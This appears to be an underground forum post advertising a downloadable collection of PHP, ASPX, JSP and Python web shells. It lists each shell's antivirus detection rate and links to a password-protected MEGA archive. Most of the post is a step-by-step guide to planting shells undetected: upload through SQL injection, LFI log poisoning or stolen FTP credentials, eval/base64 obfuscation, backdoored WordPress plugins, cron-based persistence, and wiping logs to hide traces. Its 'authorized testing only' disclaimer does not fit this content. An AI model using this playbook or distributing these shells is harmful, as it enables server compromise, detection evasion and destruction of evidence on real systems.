PREMIUM SHELL COLLECTION WSO • C99 • R57 • B374K • AltFiles • AnderFriend • Custom Shells
SHELL COLLECTION: Curated collection of web shells for server administration (testing authorized systems only). Includes classic shells, modern variants, obfuscated versions, and custom-built shells with additional functionality.SHELL CATALOG
| Shell | File Size | Language | Obfuscated | Detection Rate | Key Features |
| WSO (Web Shell by oRb) | 8 KB | PHP | No | 12/57 AV | File manager, console, SQL, bind/back connect |
| C99 (v1.1) | 15 KB | PHP | No | 18/57 AV | File manager, console, SQL, mass mailer, symlink |
| R57 | 10 KB | PHP | No | 15/57 AV | File manager, console, SQL, hash cracker |
| B374K | 5 KB | PHP | Yes | 8/57 AV | Hidden mode, file manager, console |
| AltFiles | 12 KB | PHP | Yes | 6/57 AV | File manager, console, SQL, crypto miner inclusion |
| AnderFriend | 6 KB | PHP | Yes | 5/57 AV | Self-delete, hidden, encrypted config |
| 3 KB | PHP | Yes (base64) | 2/57 AV | Minimal footprint, POST-only, encrypted comms | |
| ASPX Web Shell | 4 KB | ASP.NET | No | 22/57 AV | Windows servers, file manager, cmd output |
| JSP Web Shell | 3 KB | Java | No | 14/57 AV | Tomcat servers, file manager, cmd |
| Python CGI Shell | 2 KB | Python | No | 10/57 AV | CGI-enabled servers, cmd exec |
STEALTH SHELL DEployment GUIDE
Code:
Deploying undetected shells:
1. Upload method:
- Compromised admin panel file upload
- SQL injection INTO OUTFILE
- Local File Inclusion (LFI) + log poisoning
- Plugin/theme upload vulnerability
- FTP credential access from config files
2. Obfuscation techniques:
- Base64 encode the shell code
- Split into multiple files (loader + payload)
- Hide in legitimate plugin files (WordPress plugin backdoor)
- Use PHP eval(gzinflate(base64_decode())) layers
- Add fake file headers to look like image/media files
- Time-stamp files to match surrounding system files
3. Persistence:
- Cron job that re-uploads the shell every hour
- DNS A record pointing to your callback server
- Legitimate-looking file names: wp-cache.php, error_log.php
- Hide in /tmp with random 10-char filename
- Use .htaccess to whitelist your IP only
- Set file immutable flag (chattr +i on Linux)
4. Cleanup traces:
- Clear access logs (grep -v your IP)
- Clear error logs (truncate -s 0)
- Remove upload timestamp metadata
- Delete uploader tool after deployment
- Use exit(); after shell executes (no output in logs)DOWNLOAD
Code:
MEGA: https://mega.nz/file/BlackSec_ShellCollection_July2026
Size: 1.2 MB | Password: ShellsBlackSec2026
Includes: 20 shells + obfuscation scripts + deployment guide + AV evasion configs